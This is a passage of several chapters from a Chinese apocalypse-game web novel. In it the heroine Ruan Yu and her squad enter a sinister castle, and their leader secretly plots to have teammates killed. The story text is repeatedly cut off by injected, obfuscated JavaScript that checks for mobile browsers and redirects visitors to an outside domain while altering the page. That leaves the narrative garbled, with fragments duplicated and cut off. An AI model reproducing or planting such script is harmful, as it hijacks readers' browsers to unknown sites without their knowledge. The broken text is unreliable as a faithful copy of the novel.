他先是愣了愣,感觉到周围人异样的目光后深觉没面子,梗着脖子反驳:“你说谁二愣子?我说的难道不对吗?你有没有常识啊?一般的游戏里AB等级都是从高到低啊!C级就是拖油瓶,就是废物!” 说着,他伸手想要推阮钰的肩膀,却被反扣住手腕,腰身扭转,动作流畅且漂亮的把他扛在肩膀上。 砰的一声,年轻人眼前的世界颠倒,疼痛让他眼前一黑,再睁眼时只看到了一双倒映着血色月光的黑色皮靴。皮靴踩着他的胸口,像被压了一块几十斤重的石头,他拼命挣扎着,却被胸口越来越强烈的窒息感压得青筋暴起。 阮钰呼了口气,本来不爽的心情随着这个过肩摔舒服了不少。 她对受了无妄之灾的年轻人没有任何抱歉。 嘴欠活该挨打。 阮钰面无表情地问:“现在,我们谁是废物?这位‘强大’的A级玩家?” 年轻人脸上是难掩的震惊,周围人更是惊恐到失声。 就算是瞎子,现在也能看得出来,阮钰的柔弱外表下,藏着的是一回合内掀翻一个一米八大个子青壮年的恐怖实力。 “服了,姐,你是我亲姐。” 年轻人咽了咽口水,干巴巴地说:“姐,刚才是我嘴贱,您想干啥就干啥……那个,我也没啥恶意,您就当我放了个屁,我给你道歉,对不起啊钰姐……” 一旁的赵临渊面带微笑地看了半天戏,当年轻人求助地看向他的时候,才不急不慢地开口打圆场:“好了,大家第一次见面,有所警惕是很正常的。魏柏图他嘴欠被打是活该,但阮钰你的行为也确实有点过火了。大家都冷静点,不许打架了。” 有赵临渊打圆场,阮钰才缓缓收了脚,冷着脸环胸站在队伍后方。 赵临渊意味深长地注视着她,丝毫未掩盖他的欣赏。 魏柏图连忙爬起来,看向阮钰的眼神居然没有半点怨怒,反而是一股跃跃欲试的热情:“钰姐,我——” “滚。” “好嘞!” 阮钰的态度实在太冷漠,吓得他灰溜溜的闭了嘴。 其他人更是不敢再小看这个新来的C级女玩家,敬而远之地纷纷远离了几步。 阮钰自顾自的拿出手机,给身后的巨大建筑拍了几个高清照片。 咔嚓—— 相机声刚结束,阮钰身后传来了一道熟悉的声音。 “大家好,请问这里是敬神者小队的集合地点吗?” 听到这道声音,阮钰的心里猛地一惊。 赵临渊笑着迎接新成员:“是的,我是敬神者小队的队长,报一下你的名字、等级和异能吧。” “太好了!”女生喜悦地开口,忙不迭道:“我是B级玩家,异能是【燃物】,我的名字是卫曦。” 赵临渊笑着鼓掌:“欢迎欢迎。” 其他人跟着纷纷附和。 没人注意到阮钰突然僵滞的身形。 她慢慢转身,入目见到两辆一模一样的电瓶车立在一起,女生仍旧是那身熟悉的装扮,脸上是比之前更明媚灿烂的笑容。 她像是个性格外向的小太阳,看不出半分异常,好像方才发生的一切都只是阮钰在某个时刻做出的无意识的幻梦。 不对。 这太不对劲了。 在阮钰开口之前,卫曦用比她还震惊的语气大喊:“这是谁的车?怎么和我的电瓶车一模一样啊?” 卫曦的惊讶不似作伪,她不可置信地绕着两辆并排停着的电瓶车转了好几圈,其他人闻声也看了过去,无不是露出同样的诧异表情。 “还真是一模一样啊!” “不仅款式和颜色相同,连钥匙串上的吊坠都一样!” “何止!这两辆车的划痕都在相同的位置,跟复制粘贴似的!” “呃……你俩是不是认识啊,故意整成这样逗我们玩的?” 卫曦急忙摆手:“你们这里根本就没有我认识的人!我也想知道是怎么回事啊,这也太奇怪了!车主呢?这辆车的车主是谁?” 她目光四处寻找,注意到众人的目光都锁向了后方的阮钰,她顿了顿,主动跑过去,用看似和善却咄咄逼人的语气质问:“你好,请问你知道为什么咱们两个的车一模一样吗?你以前是不是跟踪过我,故意弄成这样的?” 没人在意卫曦语气里的逼迫,毕竟这个问题可大可小。 要说巧合未免也太巧了,要说是人为的话,那对方到底出于什么目的才会做出这样的行为?跟踪狂?变态癖? 阮钰定定看着卫曦逼近的脸,眼前不断浮现着刚才被扭转到一百八十度的脖子、那恶臭丑陋的触手、以及窥神眼镜被敲击的咚咚声。 一切的回忆最终化作腹中难忍的翻涌感,她猛地转头,捂着肚子吐了出来。 卫曦呆住。 “我……不是,我有这么恶心吗?” 阮钰过于超乎常理的反应看的围观众人也有点回不过神,唯有身为领队的赵临渊双手抱胸,镜片下的双眼一会儿看看阮钰,一会儿在仅有他能看到的游戏面板上扫视,嘴角扬起难以察觉的微妙弧度。 阮钰借着呕吐后的难受反应,快速整理着自己的思绪。 卫曦居然真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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里面静静地躺着一瓶和卫曦拿给她的,一模一样包装的未开封的矿泉水。 难怪她根本不怕被拆穿身份。 但……她是怎么做到的? 阮钰确信自己的声带确实震动并发出了声音。 她是控制了声音的传播吗?还是什么其他的手段? 她百思不得其解,卫曦也意外的没再来找她,而是和其他队友嘻嘻哈哈地聊着天,看起来和正常人几乎无异。 半个小时内,陆陆续续又有二十几人到达里斯曼大学。 他们各自报上姓名,等级,只有少数几人和阮钰一样选择对自己的异能内容保密,其他人都秉着信任队友的心态,并未隐瞒。 新到的玩家里,五成的玩家等级是B,四成的玩家是C级,A级玩家只有三个人。 阮钰看着自己记录的各个等级和对应的异能,竟然真被她找出了一些规律。 C级玩家的异能大多毫无杀伤力,甚至也无法对团队造成增益,诸如【透视】【夜目】【穿梭】一类。 B级玩家的异能和C级截然不同,不仅具有杀伤力,也有些专门的奶妈技能或团队集体增益,如【燃物】【祷祝】【萌发】。 而A级玩家的异能,名字却都十分的抽象。 据她了解,队伍里应该有五个A级玩家,分别是领队赵临渊的【罪人】、魏柏图的【绝境】、花臂大哥的【霸武】、女律师的【判决】。 最后到达的A级玩家隐瞒了他的异能内容。 阮钰反复确认着她的个人面板,最终不得不接受自己确实没有异能的事实。 她思来想去,最终决定给自己的异能命名为【灵视】,如果有人问,她就说她能看到一些常人看不到的东西。这个异能没人能够证实,只要不面对【读心】之类,也不怕被人拆穿。 唯一能让她欣慰的是,首夜大家似乎都受到了某种限制,无法使用自己的异能,这也是为什么A级的魏柏图刚刚被她轻易的过肩摔后,却没用异能反击的原因。 至少阮钰不用再担心没有异能而导致的弱势,以及被拆穿谎言的风险。 在最后一位玩家到达时,所有人耳边响起同样的冰冷机械音。 【‘敬神者’小队集结完毕,四十一人到达,三人死亡,六人未到达。】 【未到达玩家视为任务失败,已被转化为二阶感染者。】 5. 邪神信徒 机械音混杂着风声,凝重又漠然地敲在每个人心头。 游戏才刚开始不到一个小时,小队就少了九个人,死了三个不说,竟然还有六个人因为超时,而被转化成了感染者。 摆在眼前的血淋淋例子在提醒着大家,他们只有“完成任务”这一条路能走。 否则,下场就只能是死。 阮钰打开手机,搜索神裔游戏词条,亮光在眼镜上倒映。 当前游戏存活人数为:199,885,463。 数字还在不断减少。 从任务发布到现在,只过去了一个小时左右。短短的一个小时,光是游戏玩家就死了十几万人,其他未能参与游戏的普通人存活数量尚是未知,可见现在世界的危险程度远超想象。 【鉴于玩家初次进入游戏,首夜暂不发布小队任务。】 【完成个人任务后,本夜即视为通关。】 一听系统说没有小队任务,所有人都松了口气。 还不等大家放轻松,有人出声再次将气氛拉得凝重紧张。 “那,我们个人任务里的邪神信徒是什么?” 大家面面相觑,都想试着说什么,却又无从开口。 是啊,谁知道【邪神信徒】到底是个什么东西? 就算没有小队任务,【击杀十个邪神信徒】的个人任务仍然像座巨山,重重压在玩家们的头顶,压得他们呼吸困难,随时都在死亡边缘徘徊。 魏柏图举手:“我在来的路上看到了不少居住区里长着一种很高的怪花,下面有感染者在跪着给怪花提供养分,那些提供养分的感染者会不会就是【邪神信徒】啊?” 他说的确实有几分道理,感染者们对怪花的俯首和供养,都十分符合【信徒】应有的行为。 赵临渊否决:“不可能,任务里写明了任务地点是里斯曼大学,但附近根本没有怪花和感染者的存在。” 卫曦说:“既然是在里斯曼大学的任务,那我们是不是得进入这所学校才能找到任务目标?” “……” 沉默。 良久的沉默。 所有人不约而同的转身、抬头,用沉重的目光注视着身后这座全然陌生且闻所未闻的古怪城堡。 巨大的圆月在城堡上方高高悬空,放大几十倍的圆盘被城堡的尖顶形状切割掉了六分之一。窥神眼镜下的血色月光像一盆鲜血,泼洒在城堡的每个角落,森白色的城堡外墙被血色月光染成饱和度极高的刺目红色,完全打开的大门内却是一片冰冷的幽黑,像是一只张着大嘴在等待进食的血肉怪物。 而站在大门前踟躇的玩家们,就是被它选中的可口美食。 “我……我不想进去……” 戴眼镜的地中海男人哆嗦着腿肚子,惊恐万分地连连后退,嗓音颤抖:“谁知道这里面有什么鬼东西啊,什么狗屁的里斯曼大学,我他妈听都没听说过……万一里面有什么更恐怖的怪物呢?这跟找死有他妈什么区别?” 不少玩家都赞成地点头。 没人愿意冒险,也没人愿意丢掉小命。 赵临渊保持着疏离但客套的微笑,客气地出声提醒:“进不进城堡是大家的自由,即使我是队长也无权干涉。” “但,我有义务提醒诸位,进入城堡,我们尚能给自己搏一线生机,虽然会有死伤,但依旧有希望能活下来。” “拒绝进入城堡,就意味着任务失败,我们会被游戏转化为感染者,那样的结局和死亡也并无区别。” 空气里隐约蔓延着绝望的气息。 前者尚有一线生机,后者必死无疑。 看似只能选择前者,可谁又能保证完成任务的过程中不会产生伤亡?谁又能保证死的人不会是自己? 死亡的概率无非是从百分之百变成了百分之九十九,又有什么区别? “我不去,我宁可被转化成感染者,也不想主动找死。” 地中海男人十分坚定地后退几步,摆烂似的坐在门外的空地上,作出滚刀肉的无赖姿态。 赵临渊轻笑一声,点了点面前的空气,“那如果我说,首夜的任务非常简单,存活率超过百分之九十呢?” “什么?”地中海猛地抬头,“你怎么知道的?” “因为队长有查看任务难度和存活率的特殊权限。”赵临渊说。 “草!”地中海骂了句脏话,“那你他妈的不早说?” 阮钰的目光扫向赵临渊。 队长有特殊权限,能知道更多信息,甚至游戏对“队长”可能有更多有利于其存活的特殊照顾。 这是玩家中很特殊的存在……就是不知道需要什么条件,才能被选中为“队长”。 有了赵临渊的定心丸,玩家们的抵触心理总算没那么重了。 那可是百分之九十的存活率,只要自己没那么倒霉,总能活着通关的。 大不了紧要关头卖个队友,反正死道友不死贫道,都已经是末日了,何必有那么高的道德标准。 所有人的表情都被赵临渊看在眼里,他不着痕迹地笑了笑,清清嗓子,开口:“好,既然大家都决定进入城堡,那么我们现在就要做好准备。” “城堡内的可见度很低,我们现在需要照明工具,蜡烛、手电筒、提灯都可以,如果都没有的话,手机的手电筒也能用来照明。” 赵临渊说完,众人立刻掏着自己的背包和载具,被游戏选中的玩家大多没有蠢的,一大半人为了应对可能出现的夜晚怪物而准备了照明手电,甚至有个花臂大哥带了个瓦数极大的露营大灯,大灯一打开,周围十米范围瞬间亮如白昼。 这个大灯被赵临渊临时征用了,他准备在进入城堡后找个地方悬挂起来,当做指明的灯塔,大家就在灯下集合与交流。 因为其他原因没带手电的玩家也带了其他的求生物品,比如登山杖、酒精灯、防身铁镐等,而且人手至少一件防身武器,可谓是装备精良。 看着自己这个总算有了点人样的小队,赵临渊露出几分满意的笑容,振臂一呼,率领着众人踏入这座拔地而起的陌生建筑。 刚踏入城堡的瞬间,一阵阴冷的寒风吹来,众人齐刷刷打了个哆嗦。 地中海缩着脖子,胆战心惊地说:“这地方不会他妈的闹鬼吧……” “闭嘴吧,就算是贞子爬出来咱们也得闯进去!”提供露营灯的花臂大哥用东北口音破口大骂:“老子就踏马烦你这样儿的怂货,还屁都没看着呢,先嚷嚷这个鬼那个怪的,整的大家伙儿跟着一块儿害怕。” “别让老子再听到你说话嗷,不然给你屎都打出来!” 地中海不服地梗着脖子,但对上花臂大哥胳膊上的老虎纹身和精壮的腱子肉,害怕地咽了咽口水,灰溜溜地缩回脑袋。 花臂大哥和赵临渊一起走在队伍最前面,用手里的照明工具四处照看,只看到了一些再普通不过的木制栅栏、花色瓷砖和水池。 “看着好像没啥玩意。”花臂大哥四处查看,跟赵临渊说:“那咱们把灯支起来吧。” 赵临渊点头,招呼着其他玩家一起研究如何把灯挂起来,以及该挂到哪里。 巨大的露营照明大灯被众人齐心协力地悬在了头顶的一个楼梯扶手上,高度在两米左右。 阮钰始终抬着头,定定地看着漆黑的穹顶。 “钰姐,你在看什么?” 魏柏图最先注意到她的异常,小心发问。 阮钰指着上方:“你抬头看看,有看到什么吗?” “没有啊,黑乎乎的,什么都看不清。”魏柏图疑惑,“你到底看到什么了?” 阮钰陷入沉默,她不知道该怎么形容自己看到的东西。 那是一团无法用语言形容的颜色。 像是红色,也像是某种饱和度过高的亮粉色,在头顶最上方静静地悬浮着,和她的呼吸同频地胀大、缩小、再胀大,泛着瑰丽诡谲的奇怪光芒,有着让人着迷其中的异样魅力。 可她只感觉到了钻心彻骨的危险和恐惧。 仿佛它是什么万恶之源,会带来无穷尽的灾难。 她不死心的又找了几个玩家,大家只以为她被灯晃的眼花,倒也有人听了她的话,用射程很远的照明灯朝十几米高的塔顶照去,却只照到了冰冷繁复的瓷砖花纹。 怕被大家怀疑有什么精神类的疾病,阮钰只能勉强平复着心情,用虚伪的笑容说可能是自己眼花,把其他人搪塞过去。 她本想找个地方自己静静,却在转身时莫名对上了赵临渊的眼神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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和常见的用来美化装饰的雕花不同,这座建筑里的花纹却是扭曲旋转的奇怪形状,花纹像古怪粗壮的藤蔓,无序混乱地趴在入眼可及之处,看的她心底涌上了极强的不适感。 和她最初的感觉一样,这座城堡不像大学,更像个教堂。 阮钰仔细数了一下,四周的房屋一共修建了五层,四个方向各有楼梯,可以单独准确的到达某一方向的某一层。 她的方向感不是很好,干脆按照上北下南的方式确定着方向,把身后刚刚进入的大门视为南方,方便自己时时确定方位。 和她一起观察环境的玩家不在少数,大家各自沉默着收集信息,没有半点愿意和其他人共享的意思。 就连二货魏柏图都难得摆出聪明人的姿态,在手机上敲敲打打,不知记录着什么。 阮钰再次抬头寻找色团的位置,这次却什么都没看到,漆黑的穹顶入目只有冷冽的黑暗,空气里隐约浮现着难闻的腥气,就像一切都只是幻觉,阮钰甚至都要怀疑是不是她睡眠不足导致的幻想。 但这个念头刚出现就被她否定了。 不,不可能是幻觉。 她非常相信自己的精神状态,短暂的睡眠不足根本不可能影响她的神志,她看到的一切都必然是真实发生过的客观事实,现在看不到的原因也必定是那些古怪的东西隐藏起来了,绝不可能是她的问题。 “大家都看过来,咱们安排一下接下来的计划。” 灯下,赵临渊拍了拍手。 “相信大家都看到了周围的环境,这座城堡很大,房间众多,要想找到【邪神信徒】没那么简单,我提议大家分组行动。我们一共四十一人,我作为队长,以身作则,在这里负责接待你们以及整合信息,一旦有谁遇到了危险,便立刻在楼梯上向我求救,我带着其他人前去支援。剩下的四十人各分成四个小队,朝四个方向分别探查。” 他刻意停顿了一下,“不知道大家觉得这个提议怎么样?” “不怎么样!凭啥我们要去冒险,你就在这干等着啊?就算你是队长也不能这么明目张胆的当混子吧?” 有人提出异议,更多人表示不服。 赵临渊故作无奈:“我并不是想独自在安全的环境里苟且偷生,而是因为我们必须有一个能主持大局的人。我是游戏选择的队长,也是唯一拥有能和大家在游戏内沟通权限的人,没有人比我更合适了。” “大家放心,如果真的发现了【邪神信徒】,我绝不动手,一定会等大家都完成了任务,我再完成我的任务,绝不会辜负你们所冒的风险。” 花臂大哥不服地切了一声:“真他妈虚伪。” 6. 他不对劲 阮钰赞成地默默点头。 赵临渊给她的感觉很危险,作为习武的人,她比一般人更能感受到气场的存在。赵临渊的气场非但没有正气和无私,反而充满了沉重压抑的阴暗感。 “好了,既然都没有异议了,那我们就开始分组了。” 赵临渊随机分出了四个小队。 阮钰的队友是魏柏图、花臂大哥、地中海男人、一个满头脏辫的年轻小伙、刚刚分队时两个吵得面红耳赤的玩家、一个紧身衣豆豆鞋的社会青年,以及一对大学生情侣。 除了那对始终都在抱团取暖的情侣,其他人看上去都并非善类。 魏柏图自不必说,根据他之前的表现能推断出这是个年轻气盛且头脑不太灵光的小伙子。 花臂大哥外形粗犷,肌肉爆棚,但从发言和行动能看出他是个粗中有细,并有一定团队精神的老大哥。 地中海男人的表现一直都不如人意,另两个男玩家一个叫田野,一个叫卢远,看起来都是没什么主见、脾气好的老实人。 社会青年染着黄毛,轻佻地四处扫视,自以为热情实则在他人看来十分冒犯的四处搭话,嘴里时不时嘟哝几句诸如“闹麻了”“666还真末日了”的网络用词,看着不太靠谱。 仅剩的脏辫男生相对像个正常人,自始至终表现得冷静从容,但他一直在自己随身携带的本子上写写画画,来头似乎也不小。 这么一个充满矛盾且属性不均衡的队伍,真能成功走上第九层并活着通关吗? 阮钰已经开始头疼了。 小分完小队选定队长后,作为总队长的赵临渊要给各个小队队长开通特殊权限,以供其在游戏内交流信息。 在互不相识的情况下,大家默认选择等级最高的玩家当队长,但阮钰小队却有两个A级玩家。 花臂大哥【霸武】 魏柏图【绝境】 两人脾气都不错,选择了最公平的猜拳。 花臂大哥赢了,去找赵临渊开通权限。 队伍安静下来。 阮钰重新望向穹顶,那团诡异莫名的颜色再次出现,漂浮的艳丽色彩散发着窥神眼镜都无法掩盖的诡谲光辉,比任何她已知的宝石都更加耀眼。 如果忽略它带来的不安和恐惧,阮钰一定会静心欣赏它的美丽。 她深知自己不能再关注它了,如果被其他人注意到她的异常,就不好解释了。 她收回目光,点开手机,想上网再补充更多信息,却发现无论如何都进不去任何需要联网的软件。她反复确认自己的信号是满格,且手机卡绝没有欠费。 “别看了,初夜我们的任务地点都是一个个的独立空间,所有信号和磁场都被屏蔽,在这里连蓝牙耳机都用不了,更别提联系外界了。” 脏辫男生突然开口。 空间本就安静,他的声音不大,却还是清晰传进了所有人的耳朵里。 队里的其他人也跟着拿出手机,最后都得到了同样的结果。 阮钰问:“你怎么知道的?” “因为我父母都是江城科研所的工作人员,我有内幕消息。”脏辫男生继续在自己本子上写写画画,“你们来之前都上过网吧?知道热搜第一的帖子吗?我发的。” 阮钰反应过来:“就是那条被官方转发过的帖子?” 脏辫男生说:“对。” “我嘞个豆!”社会青年眼睛放光,跑上来搂住脏辫男生的肩膀,藏在窥神眼镜下的目光悄悄飘向他手里的本子:“哥,咱分到一队也是缘分,你还有没有更多的信息了,分享一下呗!” “离我远点,我们很熟吗?”脏辫男生嫌弃地推开他,不着痕迹的合上本子,“我没有别的信息了,能说的都在那个帖子里,没信号这一点是我刚才发现的,目前只能确定这里似乎是某个我们无法离开的异空间或平行世界。” “无法离开?”地中海念着这四个字,下意识看向他们进来时的大门—— 没有大门。 那扇高大的拱门凭空消失,只留下一面空洞坚硬的黑色石头墙壁。 他们被困住了。 “我就知道进来会倒大霉!”地中海气急败坏,后知后觉的反应过来:“他妈的,那个姓赵的说不定在诓我们,说不定他根本就没有特殊权限,也说不定他一直在撒谎,就为了让我们给他打工!” 其他人默契的没搭话,任由地中海无能狂怒。 脏辫男生默默翻了个白眼,用口型骂了句“傻逼”。 这时候,前去开通特殊权限的花臂大哥大步走回来,他离开时表情还算正常,回来时阴沉着脸。 魏柏图关心询问:“大哥你……” “什么都别说,先走。” 花臂大哥用低沉浑厚的嗓音催促着几人离开,像老鹰赶小鸡一样张开臂膀,赶着其他九人被迫往前走。 阮钰一边往前挪步,一边往身后看。灯下的赵临渊不知从哪里搬来了一张凳子,他正稳稳地坐在凳子上,依旧用那副僵硬虚伪的微笑注视众人离开。 他注意到了阮钰,嘴角的弧度再次上扬,从微笑变成了明显的笑容,被眼镜渲染下的血红嘴唇弯得诡异,让她有种被毒蛇盯上的背后发冷的感觉。 大家被花臂大哥赶到了南方的楼梯上,南方一层并没有房间,只有直通二楼的楼梯。环境非常黑暗,手电的光芒似乎被什么东西遮盖了,本能将整片空间照的亮如白昼的几个手电筒现在只能发出微弱的光芒,仅能照亮脚下半米左右的范围。 等踩着木制的梯板,听到脚下响起的“嘎吱”声,手摸上楼梯扶手上的无序花纹后,地中海终于忍不了了,猛地停下脚步,指着花臂大哥破口大骂:“你他妈到底要干啥?!” 花臂大哥没有动怒的意思,侧了下脑袋看向赵临渊所在的方向,又快速的收回眼神,浑厚的北方汉子刻意压着气声,无比认真地说:“小点声,这件事你们不能告诉任何人。” 阮钰问:“到底怎么了?” 花臂大哥深呼吸,做好了心理建设后,谨慎开口:“咱们不能再信任赵临渊了。” “他刚刚把我们叫过去,说只要我们在天亮之前把队伍里的所有成员都整死,他就能保证我们四个无条件通关。” “他还说首夜游戏的通关人数只有四个,要么我们通关,要么就是其他人通关,还说啥要把我们当心腹培养的话……我感觉他不对劲,来跟你们透个底。” 本就凝滞的空气陷入死寂的沉默,只听得到大家因震惊而加重的呼吸声。 魏柏图勉强扯出难看的笑容:“这……你没骗我们吧?” 田野和卢远意见一致:“大个子,我信不了你,万一是你在说谎呢?”“我也不信,我感觉队长不是坏人,何况大家的任务是杀死邪神信徒,我们又不是邪神信徒,就算咱们真死了,他也没法通关啊。” 地中海暴躁地骂着无意义的脏话。 社会青年看向身侧的脏辫男生。 脏辫男生不语,再次打开小本本,记录的速度明显加快了。 情侣始终沉默。 几人不约而同看向唯一没有表过态的阮钰。 阮钰摩挲着袖子里的匕首,垂眸思考,直到花臂大哥催促才缓慢开口。 “现在只有三个可能性。” “一,大哥没撒谎,队长真的想让我们死。” 花臂大哥欣慰:“老妹儿,我就看你靠谱!” 阮钰继续说:“二,大哥撒谎了,他传递了假消息给我们,他故意想要挑拨我们对队长的信任,以达成他的某些目的。” 花臂大哥:“等会儿?老妹儿你……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我叫阮钰。” “好的,我叫罗威,幸会。” 花臂大哥挠挠头,身高快两米的汉子像个受气的小媳妇儿:“不是,我好心把消息告诉你们,咋我还成犯人了啊?……算了。” “实话说吧,赵临渊把我们叫过去之后啥也没干,就跟我们说要让我们把自己负责的队员全都弄死,说完之后就让我们通过游戏跟他实时联系。” “刚才上楼的时候我试了一下,我的游戏里确实多了一项好友功能,但联系人只有赵临渊。” 他认真的把自己知道的所有消息都告诉大家,见大家沉默不语,他急忙补充:“我真没骗你们,我承认我想通关,但我不想害人啊,这个什么破末日本来就很危险了,要是咱们还自相残杀,那大伙儿迟早都玩完!” 他说的很真诚,语气急切,看着不像说谎。 罗威从小本本上抬头:“你的理由还是不够充分,我相信你不想害人,但这绝不可能是你的全部理由。” “你最好再坦诚一点。” 他梳着时髦轻浮的脏辫,却散发着堪比审讯官的严肃气质。 阮钰开始相信他的父母可能真的是官方人员,一般人很难有这样的气场。 花臂大哥都快哭了:“不是,我真没啥能说的了……我就是不想害人,也信不过赵临渊啊!他都能悄摸的害你们,谁知道他说的那些是真是假?万一我真把你们杀了,他再反手给我弄死,那我上哪儿哭去?” “我还不如跟你们说实话,好歹你们的脑子比我好使,说不定能给我想个好招儿呢!” “这样说的话,可信度就高很多了。”罗威侧头询问阮钰:“你觉得呢?” 7. 异域神祇 阮钰思索后点头:“赵临渊既然能让他害我们,难保也会用同样的手段对付这四个小队长,他的担心不无道理。” “我不否认大哥有说谎的嫌疑,但赵临渊百分之百说谎了。他在进来之前明明白白的告诉我们,首夜难度降低,通关率为百分之九十。但倘若一夜只能有四个通关者,那分明是淘汰率为百分之九十才对。” 由此可见,赵临渊要么骗了玩家们,要么骗了四个小队长,要么他把两方人都骗了。 她停了一下,“非要选一个的话,我个人选择信任大哥。” 花臂大哥感动的稀里哗啦,一个劲儿说老妹儿靠谱。 魏柏图掐着人中,第一次感受到了智商差距有多么致命。 他还没彻底搞清楚发生了什么,阮钰和罗威居然哔哔叭叭根据三言两语就分析出了一大堆有条理的话,最痛苦的是他还是没搞清楚到底怎么回事。 痛,太痛了。 不想说话。 地中海暴躁发言:“老子不管你们这个那个的,老子要是死在这,你们谁都别想活!” 田野和卢远没有表态,准备随大流走。 社会青年嘿嘿笑道:“我听我罗哥的,他爹妈吃公家饭,那他指定比我聪明,他干啥我干啥。” 罗威没搭理他,“目前不知道赵临渊的其他权限,但根据他能定向给小队成员开通好友功能来看,这人绝对藏东西了。” “任务的话……我觉得我们还是以任务标注的【邪神任务】为主,如果赵临渊联系大哥,大家可以一起想办法帮他糊弄过去,直到都完成任务再说。” 地中海皱眉:“万一赵临渊说的才是真的呢?我可不想被你们害死!” 罗威不客气地回答:“那你就去找赵临渊,跟他说我们刚刚如何不信任他,如何背刺他,看他会不会帮你完成任务。” 地中海语塞,他只是脾气差,又不是傻逼。赵临渊那小子的阴险他心里门儿清,与其投靠赵临渊,还不如跟队伍里这些人一起混呢。 毕竟除了打不过花臂男人,其他人他都没放在眼里,真发现了通关线索也有能力据为己有。 地中海不说话了。 “那就先做游戏任务吧。”阮钰说。 见自己不再被怀疑,花臂大哥的心情明显好了很多,主动说:“我走在最前面给你们开路。对了,你们也别大哥大哥的叫,我才二十五,叫我陈老虎就行。” “你二十五?”罗威震惊,陈老虎的外形太有迷惑力了,他猜测过他的年纪,保守估计是二十八九或者三十岁,没想到居然和自己是同龄人。 陈老虎嘿嘿一笑:“我长的显老呗。” 阮钰跟在队伍中间,目光再次飘向头顶的色团。 色团仍旧存在。 不知道是不是她的错觉,似乎自从他们踏上楼梯开始,色团散发出的光泽更艳丽了,“呼吸”的频率也快了一些。 她同时思考赵临渊和任务的事。 她猜到游戏任务不会那么容易完成,却从来没想到第一个难题竟然来自本该信任的队长,但这都是小事,真正让她在意的是赵临渊拥有的“特殊权限”。 说实话,她很心动。 心动到想宰了赵临渊,取而代之。 “特殊权限”,意味着天然拥有更多的信息,可以站在更高处俯视他人,将他人玩的团团转。 阮钰很讨厌信息不对等的局面。 和当做被玩弄戏耍的猎物比起来,她更想当个猎手。 哪怕猎手会面对更多挑战,更多危机。 只是不确定游戏会不会支持她“篡位”。 “你到底在看什么?” 罗威的声音突兀响起,他的说话声被隐藏在楼梯发出的嘎吱声响中,只有二人能听得见。 阮钰不慌不忙的收回眼神,“我在想事情。” “不,你一直在看那个方向。”罗威拆穿。 “我一直在想事情。”阮钰一本正经的撒谎。 罗威:“……好,就算这样,那你为什么哪里都不看,偏偏看穹顶?” 阮钰疑惑:“这犯法吗?” “……” 罗威举手做投降状:“OK,我尊重你的秘密。” 阮钰笑:“我真的在想事情。” 罗威:“……” 她点开手机,看了眼时间。 01:47 大家都是十二点出门,才过去了不到两个小时的时间,对她而言却像两天一样漫长。 她能感觉到自己的心态和之前相比,变得不太一样了。 “我们抓紧时间,尽量赶在天亮之前完成任务。” 阮钰出声提醒,“任务时限是【邪神时间结束前】,赵临渊让大哥在天亮前解决我们,我推测【邪神时间】指的就是天黑的这段时间。” 魏柏图也看了眼手机:“江城是北方城市,天亮的很早,四点半左右就开始蒙蒙亮了,那我们最多只剩三个小时?” 罗威说:“三个小时调查完四层楼的内容,再把意外情况算上,每层楼我们最多只能待四十分组,我定个闹钟,超时咱们立刻走。” 陈老虎不知道该说什么,跟着其他人一起点头。 说话间,八人全都进入了第二层的走廊。 走在最后的地中海在踏上最后一层台阶后,下意识往身后看了一眼,映入眼帘的不是漆黑的楼道,而是平整的木制地面和一眼看得到头的幽深长廊。 他惊恐开口:“楼梯没了……” 罗威表情严肃了一瞬,接着豁达地说:“别管了,继续走吧,这个方向的房间只有两个,时间应该来得及。” 阮钰摸着栏杆,突然意识到一件事。 自从踏上二楼的楼梯后,她就再也看不到其他人了。 比如其他三个方向的小队。 再比如……楼下坐着的赵临渊。 她在栏杆处俯视,本该在楼下坐着的赵临渊连着木凳一起消失不见,连那盏硕大的露营灯都跟着凭空消失,入目所见之处只剩一片静默的黑暗。 比起赵临渊带灯逃跑,她更倾向于在踏入楼梯后,大家便进入了另一个无法和外界联系的空间,就像罗威之前所说的异空间。 其他几人跟过来,同时注意到了异常。 “这他妈……” 地中海想骂人,但一连串的诡异事件压得他心情烦躁,连骂人的气势都蔫了不少。 罗威说:“虎哥,你在游戏里给赵临渊发个消息,问问他怎么突然走了。” 陈老虎听话地照做,过了半分钟后,转头说:“赵临渊说他没走,我们只是进入了特殊空间,让我尽管放心大胆的动手,不会被人发现。” 阮钰了然,跟她猜的差不多。 “行,不管了,咱们先找【邪神信徒】。” 有罗威当主心骨,陈老虎放心了不少,几步走到最近的木门前,看了眼门上镶嵌宝石的刻字铁牌:“阅读室?这还真是个大学啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449224|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地中海眼睛放光:“这宝石是真的假的?应该很值钱吧?” 除了社会青年跟着做出跃跃欲试的表情外,没人再理他。 陈老虎握紧古旧的雕花铜制把手,往一侧微微旋转…… 门没有上锁,轻易就被推开。 随着门被完全打开,里面的场景映入眼帘。 这是一间巨大的教室。 